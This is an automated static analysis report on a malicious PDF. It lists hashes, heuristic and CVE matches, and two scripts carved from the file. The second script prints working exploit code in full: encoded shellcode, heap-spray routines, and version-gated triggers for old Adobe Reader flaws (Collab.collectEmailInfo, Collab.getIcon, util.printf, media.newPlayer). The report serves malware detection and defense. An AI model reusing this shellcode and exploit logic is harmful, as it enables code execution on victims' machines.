Malicious PDF — malware analysis report

Static analysis result for SHA-256 af0107dd5267c3e5…

MALICIOUS

PDF

1.95 MB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 44c5a00ff7e22f852991061a945df9c2 SHA-1: 6adc7c88d98aa204152c7cbaac80314c2a9059b8 SHA-256: af0107dd5267c3e5be58c7036e62af9521544359f9e6b7d32941b1d4c368b0e1
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream includes an eval() call, a high-severity finding, suggesting code execution. This obfuscated JavaScript is likely used to download and execute a secondary payload. No specific family could be identified, and no URLs or other IOCs were extracted.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      chrd=eval(i.replace('qw','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x61D7 545 bytes
SHA-256: 4b4bdad9c67ea5eb820650ee0f75e727870ac0d81be00f93f0de778c1a8c6ee8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var khfi='';
var qwe=this.producer.substr(0,4);
for(var i in this) {
	if (i=='qwe')
		chrd=eval(i.replace('qw','')+'val');
}
pzfu = chrd('new Date(2007,2,51,2,12,5)');
yiv = 'thi'+pzfu.getHours()+'ducer';
mkhai=chrd(yiv.replace(2,'s.pro'));
mkhai = mkhai.replace(/t/g,'2');
ar = mkhai.substr(4).split('q');
var s = '';
w = pzfu.getHours()*2;
var lexwn = 'fro'+pzfu.getHours()+'arCode';
lexwn=lexwn.replace(2,'mCh');
lfbmh=String[lexwn];
for (i = 0; i < ar.length; i++) {
	jxiu = chrd(ar[i]);
	s += lfbmh(jxiu);
}
chrd(s);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer q-arithmetic JavaScript at offset 0x23 3636 bytes
SHA-256: 215ed1a4777a9bb52c7ac09cd751c7cacb7d3d18b0f8308aa531b3311bfc5e10
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ue934%ue2aa%uc3fa%ue5e8%uffff%u00ff%ue8e5%ue9e9%u68b7%ub505%ue9e8%u60e9%u640e%uf9a6%u8664%ud8bd%ube32%ubab8%ubaba%ubaba%ubaba%ubabc%u81ba%ue8ed%ue9e9%ubfbc%u81ba%u8786%ue9e9%u9c81%u859b%ubd84%u6781%ue7a7%u0105%ue9a1%ue9e9%u01b9%ue995%ue9e9%u3916%u2d6a%u81e1%u06a6%ueca6%u01b9%ue985%ue9e9%u3916%u296c%ufe9c%ubd83%u1ab0%u8143%u179b%uff5a%uf401%ue9e9%ub9e9%ub801%ue9e9%u16e9%uba39%u1783%u6081%ue886%u0154%ue9e1%ue9e9%u01b9%ue9d5%ue9e9%u3916%ud889%u8d29%ub962%u62d9%ue5bb%ubb62%u62fd%uc19b%uf150%ue9e9%ud8e9%ud816%u4529%u88d5%ueb95%uc9c5%u2628%ue8e4%u0b2e%u6819%ub216%ua355%u6283%uf9ab%ufb62%u309c%uad60%uf5cd%u2a88%u6289%ucd85%u62cd%ud5ac%ubd62%u91ec%u03e8%ua362%u62f1%uc9b3%u02e8%udd0a%u62a0%u62dd%u07e8%u16d8%u29d8%u4515%u296d%uee9d%u2628%ue8e4%u022e%ud21d%ucd95%u9cc1%u6208%ucdb3%u02e8%u628f%ua2e5%ub362%ue8f5%u6202%u62ed%u01e8%uad60%uf5cd%u2b88%ue9e1%u0601%u1617%u8116%u9d9d%ud399%uc6c6%u8183%u8f8d%u8ac7%uc786%u8a8a%u8dc6%u99c7%u9981%u8fd6%udad4%ucfdc%ud48c%ue9da';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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